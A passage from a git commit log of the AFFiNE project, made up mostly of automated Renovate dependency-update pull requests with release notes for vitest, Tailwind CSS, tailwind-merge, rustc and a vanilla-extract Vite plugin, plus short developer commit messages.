-   Don't toggle cli cursor on non-TTY - by [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/7336](https://redirect.github.com/vitest-dev/vitest/issues/7336) [<samp>(3c805)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/3c8050e69)
-   **vite-node**: Differentiate file url with hash and query - by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa)  in [https://github.com/vitest-dev/vitest/issues/7365](https://redirect.github.com/vitest-dev/vitest/issues/7365) [<samp>(926ca)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/926ca9546)

##### [View changes on GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.4...v3.0.5)

### [`v3.0.4`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v3.0.4)

[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.3...v3.0.4)

#####    🐞 Bug Fixes

-   Filter projects eagerly during config resolution  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) and [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/7313](https://redirect.github.com/vitest-dev/vitest/issues/7313) [<samp>(dff44)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/dff4406d)
-   Apply `development|production` condition on Vites 6 by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) and [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) ([#&#8203;7301](https://redirect.github.com/vitest-dev/vitest/issues/7301)) [<samp>(ef146)</samp>](ef1464fc7b)
-   **browser**: Restrict served files from `/__screenshot-error`  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7340](https://redirect.github.com/vitest-dev/vitest/issues/7340) [<samp>(ed9ae)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/ed9aeba2)
-   **deps**: Update all non-major dependencies  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7297](https://redirect.github.com/vitest-dev/vitest/issues/7297) [<samp>(38ea8)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/38ea8eae)
-   **runner**: Timeout long sync hook  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7289](https://redirect.github.com/vitest-dev/vitest/issues/7289) [<samp>(c60ee)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/c60ee27c)
-   **typechecking**: Support typechecking parsing with Vite 6  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7335](https://redirect.github.com/vitest-dev/vitest/issues/7335) [<samp>(bff70)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/bff70be9)
-   **types**: Fix public types  -  by [@&#8203;mrginglymus](https://redirect.github.com/mrginglymus) and [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7328](https://redirect.github.com/vitest-dev/vitest/issues/7328) [<samp>(ce6af)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/ce6af70c)

#####     [View changes on GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.3...v3.0.4)

### [`v3.0.3`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v3.0.3)

[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.2...v3.0.3)

#####    🐞 Bug Fixes

-   **browser**:
    -   Don't throw a validation error if v8 coverage is used with filtered instances  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7306](https://redirect.github.com/vitest-dev/vitest/issues/7306) [<samp>(fa463)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/fa4634b2)
    -   Don't fail when running --browser.headless if the browser projest is part of the workspace  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7311](https://redirect.github.com/vitest-dev/vitest/issues/7311) [<samp>(e43a8)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/e43a8f56)

#####    🏎 Performance

-   **reporters**: Update summary only when needed  -  by [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/7291](https://redirect.github.com/vitest-dev/vitest/issues/7291) [<samp>(7f36b)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/7f36b6f9)

#####     [View changes on GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.2...v3.0.3)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNDUuMCIsInVwZGF0ZWRJblZlciI6IjM5LjE0NS4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-05 09:12:59 +00:00
pengx17
a1beb2aadb fix(electron): sourcemap not loading for electron dev mode (#9951) 2025-02-05 08:34:57 +00:00
EYHN
ee0cfe4dc7 feat(nbstore): share worker between workspaces (#9947) 2025-02-05 07:57:03 +00:00
Saul-Mirone
972d76d685 refactor(editor): use spec builder to unify the extend of editor extensions (#9916) 2025-02-05 07:40:55 +00:00
doouding
02122098c7 fix: drag block issue (#9902)
### Changed
- Added support for changing the preview offset during dragging.
- Fixed the preview rendering for embed block and surface-ref block
- Resolved an issue where the host element might be reused in certain cases, which could cause unexpected behavior
- Moved viewport-related constants and methods to a more appropriate location
2025-02-05 07:25:53 +00:00
Brooooooklyn
abeff8bb1a feat(server): doc level permission (#9760)
close CLOUD-89 CLOUD-90 CLOUD-91 CLOUD-92
2025-02-05 07:06:57 +00:00
Yifeng Wang
64de83b13d chore(editor): switch to edgeless in renderer poc entry (#9950) 2025-02-05 06:36:20 +00:00
aki-chang-dev
2607e34063 feat(android): sign-in with google & magic-link & email (#9868)
- [chore(android): migrate to version catalog](16c0fb66e7)
- [feat(android): integrate apollo](4dcf93b4f9)
- [fix(android): fix android email sign-in](752cf34f33)
- [chore(android): add stable/canary environment](72a96bfa5f)
- [feat(android): set cookies for apollo client](7664cc4f19)
- [feat(android): google & magic-link sign-in](c54ce3b43b)
- [eat(android): change logo](8c5062adbc)
- [chore(android): fix pipleline](4a68299be4)
- [fix(android): rebase issues](c6858c5ecf)
- [docs(android): update README for compat with java 21](6eac3ba0dc)
- [fix(android): android pipeline](1103c87880)
2025-02-05 06:08:28 +00:00
Yifeng Wang
cbb73d8034 fix(editor): render position of repeated sentence (#9948) 2025-02-05 04:41:24 +00:00
Yifeng Wang
8afc50c730 fix(editor): support worker renderer zoom (#9943) 2025-02-05 12:16:06 +08:00
Saul-Mirone
0553ae72b5 refactor(editor): remove deprecated editor slot (#9908) 2025-02-04 12:56:41 +00:00
pengx17
3834699c68 fix(electron): add refer/origin to api requests (#9880)
related to BS-2181
2025-02-02 10:05:02 +00:00
liuyi
a95803d33b fix(server): selfhost should not use canary mobile pages (#9929) 2025-02-02 10:00:51 +00:00
liuyi
2084b86797 chore(server): remove old subscription table usage (#9928) 2025-02-02 17:48:54 +08:00
forehalo
d03447f52e fix(server): should redeem onetime invoice only once (#9927)
fix CLOUD-115
2025-02-02 09:18:06 +00:00
renovate
a673f42073 chore: bump up tailwindcss version to v4 (#9918)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [tailwindcss](https://tailwindcss.com) ([source](https://redirect.github.com/tailwindlabs/tailwindcss/tree/HEAD/packages/tailwindcss)) | [`^3.4.16` -> `^4.0.0`](https://renovatebot.com/diffs/npm/tailwindcss/3.4.17/4.0.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/tailwindcss/4.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/tailwindcss/4.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/tailwindcss/3.4.17/4.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/tailwindcss/3.4.17/4.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>tailwindlabs/tailwindcss (tailwindcss)</summary>

### [`v4.0.3`](https://redirect.github.com/tailwindlabs/tailwindcss/blob/HEAD/CHANGELOG.md#403---2025-02-01)

[Compare Source](https://redirect.github.com/tailwindlabs/tailwindcss/compare/v4.0.2...v4.0.3)

##### Fixed

-   Fix incorrect removal of `@import url();` ([#&#8203;16144](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16144))

### [`v4.0.2`](https://redirect.github.com/tailwindlabs/tailwindcss/blob/HEAD/CHANGELOG.md#402---2025-01-31)

[Compare Source](https://redirect.github.com/tailwindlabs/tailwindcss/compare/v4.0.1...v4.0.2)

##### Fixed

-   Only generate positive `grid-cols-*` and `grid-rows-*` utilities ([#&#8203;16020](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16020))
-   Ensure escaped theme variables are handled correctly ([#&#8203;16064](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16064))
-   Ensure we process Tailwind CSS features when only using `@reference` or `@variant` ([#&#8203;16057](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16057))
-   Refactor gradient implementation to work around [prettier/prettier#17058](https://redirect.github.com/prettier/prettier/issues/17058) ([#&#8203;16072](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16072))
-   Vite: Ensure hot-reloading works with SolidStart setups ([#&#8203;16052](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16052))
-   Vite: Fix a crash when starting the development server in SolidStart setups ([#&#8203;16052](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16052))
-   Vite: Don't rebase URLs that appear to be aliases ([#&#8203;16078](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16078))
-   Vite: Transform `<style>` blocks in HTML files ([#&#8203;16069](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16069))
-   Prevent camel-casing CSS custom properties added by JavaScript plugins ([#&#8203;16103](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16103))
-   Do not emit `@keyframes` in `@theme reference` ([#&#8203;16120](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16120))
-   Discard invalid declarations when parsing CSS ([#&#8203;16093](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16093))
-   Do not emit empty CSS rules and at-rules ([#&#8203;16121](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16121))
-   Handle `@variant` when at the top-level of a stylesheet ([#&#8203;16129](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16129))

### [`v4.0.1`](https://redirect.github.com/tailwindlabs/tailwindcss/blob/HEAD/CHANGELOG.md#401---2025-01-29)

[Compare Source](https://redirect.github.com/tailwindlabs/tailwindcss/compare/v4.0.0...v4.0.1)

##### Added

-   Include `:open` pseudo-class in existing `open` variant ([#&#8203;15349](https://redirect.github.com/tailwindlabs/tailwindcss/pull/15349))

##### Fixed

-   Remove invalid `min-w/h-none` utilities ([#&#8203;15845](https://redirect.github.com/tailwindlabs/tailwindcss/pull/15845))
-   Discard CSS variable shorthand utilities that don't use valid CSS variables ([#&#8203;15738](https://redirect.github.com/tailwindlabs/tailwindcss/pull/15738))
-   Ensure font-size utilities with `none` modifier have a line-height set e.g. `text-sm/none` ([#&#8203;15921](https://redirect.github.com/tailwindlabs/tailwindcss/pull/15921))
-   Ensure font-size utilities with unknown modifier don't generate CSS ([#&#8203;15921](https://redirect.github.com/tailwindlabs/tailwindcss/pull/15921))
-   Don’t suggest font weight utilities more than once ([#&#8203;15857](https://redirect.github.com/tailwindlabs/tailwindcss/pull/15857))
-   Suggest container query variants ([#&#8203;15857](https://redirect.github.com/tailwindlabs/tailwindcss/pull/15857))
-   Disable bare value suggestions when not using the `--spacing` variable ([#&#8203;15857](https://redirect.github.com/tailwindlabs/tailwindcss/pull/15857))
-   Ensure suggested classes are properly sorted ([#&#8203;15857](https://redirect.github.com/tailwindlabs/tailwindcss/pull/15857))
-   Don’t look at .gitignore files outside initialized repos ([#&#8203;15941](https://redirect.github.com/tailwindlabs/tailwindcss/pull/15941))
-   Find utilities when using the Svelte class shorthand syntax across multiple lines ([#&#8203;15974](https://redirect.github.com/tailwindlabs/tailwindcss/pull/15974))
-   Find utilities when using the Angular class shorthand syntax ([#&#8203;15974](https://redirect.github.com/tailwindlabs/tailwindcss/pull/15974))
-   Find utilities when using functions inside arrays ([#&#8203;15974](https://redirect.github.com/tailwindlabs/tailwindcss/pull/15974))
-   Ensure that `@tailwindcss/browser` does not pollute the global namespace ([#&#8203;15978](https://redirect.github.com/tailwindlabs/tailwindcss/pull/15978))
-   Ensure that `tailwind-merge` is not scanned when using the Vite plugin ([#&#8203;16005](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16005))
-   Ensure CSS theme variables are available within shadow roots ([#&#8203;15975](https://redirect.github.com/tailwindlabs/tailwindcss/pull/15975))
-   Fix crash when project lives in the `/` directory ([#&#8203;15988](https://redirect.github.com/tailwindlabs/tailwindcss/pull/15988))
-   Ensure custom variants have a non-empty selector list ([#&#8203;16009](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16009))
-   *Upgrade*: Ensure JavaScript config files on different drives are correctly migrated ([#&#8203;15927](https://redirect.github.com/tailwindlabs/tailwindcss/pull/15927))
-   *Upgrade*: Migrate `leading-[1]` to `leading-none` ([#&#8203;16004](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16004))
-   *Upgrade*: Do not migrate arbitrary leading utilities to bare values ([#&#8203;16004](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16004))

### [`v4.0.0`](https://redirect.github.com/tailwindlabs/tailwindcss/blob/HEAD/CHANGELOG.md#400---2025-01-21)

[Compare Source](https://redirect.github.com/tailwindlabs/tailwindcss/compare/v3.4.17...v4.0.0)

##### Added

-   [New high-performance engine](https://tailwindcss.com/blog/tailwindcss-v4#new-high-performance-engine) — where full builds are up to 5x faster, and incremental builds are over 100x faster — and measured in microseconds.
-   [Designed for the modern web](https://tailwindcss.com/blog/tailwindcss-v4#designed-for-the-modern-web) — built on cutting-edge CSS features like cascade layers, registered custom properties with `@property`, and `color-mix()`.
-   [Simplified installation](https://tailwindcss.com/blog/tailwindcss-v4#simplified-installation) — fewer dependencies, zero configuration, and just a single line of code in your CSS file.
-   [First-party Vite plugin](https://tailwindcss.com/blog/tailwindcss-v4#first-party-vite-plugin) — tight integration for maximum performance and minimum configuration.
-   [Automatic content detection](https://tailwindcss.com/blog/tailwindcss-v4#automatic-content-detection) — all of your template files are discovered automatically, with no configuration required.
-   [Built-in import support](https://tailwindcss.com/blog/tailwindcss-v4#built-in-import-support) — no additional tooling necessary to bundle multiple CSS files.
-   [CSS-first configuration](https://tailwindcss.com/blog/tailwindcss-v4#css-first-configuration) — a reimagined developer experience where you customize and extend the framework directly in CSS instead of a JavaScript configuration file.
-   [CSS theme variables](https://tailwindcss.com/blog/tailwindcss-v4#css-theme-variables) — all of your design tokens exposed as native CSS variables so you can access them anywhere.
-   [Dynamic utility values and variants](https://tailwindcss.com/blog/tailwindcss-v4#dynamic-utility-values-and-variants) — stop guessing what values exist in your spacing scale, or extending your configuration for things like basic data attributes.
-   [Modernized P3 color palette](https://tailwindcss.com/blog/tailwindcss-v4#modernized-p3-color-palette) — a redesigned, more vivid color palette that takes full advantage of modern display technology.
-   [Container queries](https://tailwindcss.com/blog/tailwindcss-v4#container-queries) — first-class APIs for styling elements based on their container size, no plugins required.
-   [New 3D transform utilities](https://tailwindcss.com/blog/tailwindcss-v4#new-3d-transform-utilities) — transform elements in 3D space directly in your HTML.
-   [Expanded gradient APIs](https://tailwindcss.com/blog/tailwindcss-v4#expanded-gradient-apis) — radial and conic gradients, interpolation modes, and more.
-   [@&#8203;starting-style support](https://tailwindcss.com/blog/tailwindcss-v4#starting-style-support) — a new variant you can use to create enter and exit transitions, without the need for JavaScript.
-   [not-\* variant](https://tailwindcss.com/blog/tailwindcss-v4#not-variant) — style an element only when it doesn't match another variant, custom selector, or media or feature query.
-   [Even more new utilities and variants](https://tailwindcss.com/blog/tailwindcss-v4#even-more-new-utilities-and-variants) — including support for `color-scheme`, `field-sizing`, complex shadows, `inert`, and more.

Start using Tailwind CSS v4.0 today by [installing it in a new project](https://tailwindcss.com/docs/installation/), or playing with it directly in the browser on [Tailwind Play](https://play.tailwindcss.com/).

For existing projects, we've published a comprehensive [upgrade guide](https://tailwindcss.com/docs/upgrade-guide) and built an [automated upgrade tool](https://tailwindcss.com/docs/upgrade-guide#using-the-upgrade-tool) to get you on the latest version as quickly and painlessly as possible.

For a deep-dive into everything that's new, [check out the announcement post](https://tailwindcss.com/blog/tailwindcss-v4).

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNDUuMCIsInVwZGF0ZWRJblZlciI6IjM5LjE0NS4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-02 07:43:18 +00:00
renovate
63a427148f chore: bump up tailwind-merge version to v3 (#9917)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [tailwind-merge](https://redirect.github.com/dcastil/tailwind-merge) | [`^2.5.5` -> `^3.0.0`](https://renovatebot.com/diffs/npm/tailwind-merge/2.6.0/3.0.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/tailwind-merge/3.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/tailwind-merge/3.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/tailwind-merge/2.6.0/3.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/tailwind-merge/2.6.0/3.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>dcastil/tailwind-merge (tailwind-merge)</summary>

### [`v3.0.1`](7378c16adc...493fa8c110)

[Compare Source](https://redirect.github.com/dcastil/tailwind-merge/compare/v3.0.0...v3.0.1)

### [`v3.0.0`](https://redirect.github.com/dcastil/tailwind-merge/compare/v2.6.0...7378c16adcc261599fa2debe8c18d77071c946f4)

[Compare Source](https://redirect.github.com/dcastil/tailwind-merge/compare/v2.6.0...v3.0.0)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNDUuMCIsInVwZGF0ZWRJblZlciI6IjM5LjE0NS4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-01 14:51:48 +00:00
renovate
2b54ebd0be chore: bump up rustc version to v1.84.1 (#9920)
This PR contains the following updates:

| Package | Update | Change |
|---|---|---|
| [rustc](https://redirect.github.com/rust-lang/rust) | patch | `1.84.0` -> `1.84.1` |

---

### Release Notes

<details>
<summary>rust-lang/rust (rustc)</summary>

### [`v1.84.1`](https://redirect.github.com/rust-lang/rust/blob/HEAD/RELEASES.md#Version-1841-2025-01-30)

[Compare Source](https://redirect.github.com/rust-lang/rust/compare/1.84.0...1.84.1)

\==========================

<a id="1.84.1"></a>

-   [Fix ICE 132920 in duplicate-crate diagnostics.](https://redirect.github.com/rust-lang/rust/pull/133304/)
-   [Fix errors for overlapping impls in incremental rebuilds.](https://redirect.github.com/rust-lang/rust/pull/133828/)
-   [Fix slow compilation related to the next-generation trait solver.](https://redirect.github.com/rust-lang/rust/pull/135618/)
-   [Fix debuginfo when LLVM's location discriminator value limit is exceeded.](https://redirect.github.com/rust-lang/rust/pull/135643/)
-   Fixes for building Rust from source:
    -   [Only try to distribute `llvm-objcopy` if llvm tools are enabled.](https://redirect.github.com/rust-lang/rust/pull/134240/)
    -   [Add Profile Override for Non-Git Sources.](https://redirect.github.com/rust-lang/rust/pull/135433/)
    -   [Resolve symlinks of LLVM tool binaries before copying them.](https://redirect.github.com/rust-lang/rust/pull/135585/)
    -   [Make it possible to use ci-rustc on tarball sources.](https://redirect.github.com/rust-lang/rust/pull/135722/)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNDUuMCIsInVwZGF0ZWRJblZlciI6IjM5LjE0NS4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-01 14:33:47 +00:00
renovate
f73b07da66 chore: bump up @vanilla-extract/vite-plugin version to v5 (#9915)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@vanilla-extract/vite-plugin](https://redirect.github.com/vanilla-extract-css/vanilla-extract) ([source](https://redirect.github.com/vanilla-extract-css/vanilla-extract/tree/HEAD/packages/vite-plugin)) | [`^4.0.18` -> `^5.0.0`](https://renovatebot.com/diffs/npm/@vanilla-extract%2fvite-plugin/4.0.19/5.0.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@vanilla-extract%2fvite-plugin/5.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@vanilla-extract%2fvite-plugin/5.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@vanilla-extract%2fvite-plugin/4.0.19/5.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@vanilla-extract%2fvite-plugin/4.0.19/5.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@vanilla-extract/vite-plugin](https://redirect.github.com/vanilla-extract-css/vanilla-extract) ([source](https://redirect.github.com/vanilla-extract-css/vanilla-extract/tree/HEAD/packages/vite-plugin)) | [`^4.0.19` -> `^5.0.0`](https://renovatebot.com/diffs/npm/@vanilla-extract%2fvite-plugin/4.0.19/5.0.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@vanilla-extract%2fvite-plugin/5.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@vanilla-extract%2fvite-plugin/5.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@vanilla-extract%2fvite-plugin/4.0.19/5.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@vanilla-extract%2fvite-plugin/4.0.19/5.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>vanilla-extract-css/vanilla-extract (@&#8203;vanilla-extract/vite-plugin)</summary>

### [`v5.0.0`](https://redirect.github.com/vanilla-extract-css/vanilla-extract/blob/HEAD/packages/vite-plugin/CHANGELOG.md#500)

[Compare Source](https://redirect.github.com/vanilla-extract-css/vanilla-extract/compare/@vanilla-extract/vite-plugin@4.0.20...@vanilla-extract/vite-plugin@5.0.0)

##### Major Changes

-   [#&#8203;1537](https://redirect.github.com/vanilla-extract-css/vanilla-extract/pull/1537) [`7810b7c`](7810b7c8b8) Thanks [@&#8203;askoufis](https://redirect.github.com/askoufis)! - Change the plugin name from `"vanilla-extract"` to the more [conventional][plugin conventions] `"vite-plugin-vanilla-extract"`

    [plugin conventions]: https://vite.dev/guide/api-plugin.html#conventions

-   [#&#8203;1529](https://redirect.github.com/vanilla-extract-css/vanilla-extract/pull/1529) [`d5b6e70`](d5b6e70f44) Thanks [@&#8203;askoufis](https://redirect.github.com/askoufis)! - Update `vite` peer dependency range to `^5.0.0 || ^6.0.0`

    BREAKING CHANGE: Vite 4 is no longer supported. Please upgrade to at least Vite 5.

-   [#&#8203;1537](https://redirect.github.com/vanilla-extract-css/vanilla-extract/pull/1537) [`7810b7c`](7810b7c8b8) Thanks [@&#8203;askoufis](https://redirect.github.com/askoufis)! - BREAKING CHANGE: User-configured vite plugins are no longer forwarded through to the Vanilla Extract compiler by default. This should not affect most consumers.

    Previously, all vite plugins except for a select few incompatible plugins were forwarded through. This resulted in a constant game of whack-a-mole as new plugins were added to the list of incompatible plugins as issues were discovered.

    Framework-specific plugins, as well as plugins that handle assets and build output, tend not to be relevant to Vanilla Extract code, and in some cases cause more harm than good.

    For that reason, in this release only the `vite-tsconfig-paths` plugin is fowarded through by default. This is a relatively common plugin that is know to be compatible with the Vanilla Extract compiler.

    In most cases users should not need to forward any additional plugins through to the Vanilla Extract compiler. However, if such a case arises, a plugin filter function can be provided via the `unstable_pluginFilter` option:

    ```ts
    // vite.config.ts

    import { vanillaExtractPlugin } from '@&#8203;vanilla-extract/vite-plugin';
    import { vitePluginFoo } from 'vite-plugin-foo';

    export default defineConfig({
      plugins: [
        vitePluginFoo(),
        vanillaExtractPlugin({
          // Only forward the `vite-plugin-foo` plugin through to the Vanilla Extract compiler
          unstable_pluginFilter: ({ name, mode }) =>
            plugin.name === 'vite-plugin-foo'
        })
      ]
    });
    ```

    When providing a plugin filter function, the `vite-tsconfig-paths` plugin will no longer be forwarded through by default. If you wish to forward this plugin, you must include it in your filter function.

    **NOTE**: The `unstable_pluginFilter` API is considered unstable and may be changed or removed without notice in a future non-major version.

##### Patch Changes

-   Updated dependencies \[[`d5b6e70`](d5b6e70f44), [`d5b6e70`](d5b6e70f44)]:
    -   [@&#8203;vanilla-extract/compiler](https://redirect.github.com/vanilla-extract/compiler)[@&#8203;0](https://redirect.github.com/0).1.1

### [`v4.0.20`](https://redirect.github.com/vanilla-extract-css/vanilla-extract/blob/HEAD/packages/vite-plugin/CHANGELOG.md#4020)

[Compare Source](https://redirect.github.com/vanilla-extract-css/vanilla-extract/compare/@vanilla-extract/vite-plugin@4.0.19...@vanilla-extract/vite-plugin@4.0.20)

##### Patch Changes

-   [#&#8203;1536](https://redirect.github.com/vanilla-extract-css/vanilla-extract/pull/1536) [`a8248be`](a8248befac) Thanks [@&#8203;askoufis](https://redirect.github.com/askoufis)! - Consume compiler API from new `@vanilla-extract/compiler` package instead of `@vanilla-extract/integration`

-   Updated dependencies \[[`5f66abb`](5f66abbd60), [`a8248be`](a8248befac), [`a8248be`](a8248befac), [`ec0b024`](ec0b024fd1), [`a8248be`](a8248befac)]:
    -   [@&#8203;vanilla-extract/integration](https://redirect.github.com/vanilla-extract/integration)[@&#8203;8](https://redirect.github.com/8).0.0
    -   [@&#8203;vanilla-extract/compiler](https://redirect.github.com/vanilla-extract/compiler)[@&#8203;0](https://redirect.github.com/0).1.0

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xMjUuMSIsInVwZGF0ZWRJblZlciI6IjM5LjEyNS4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-01-30 10:40:44 +00:00
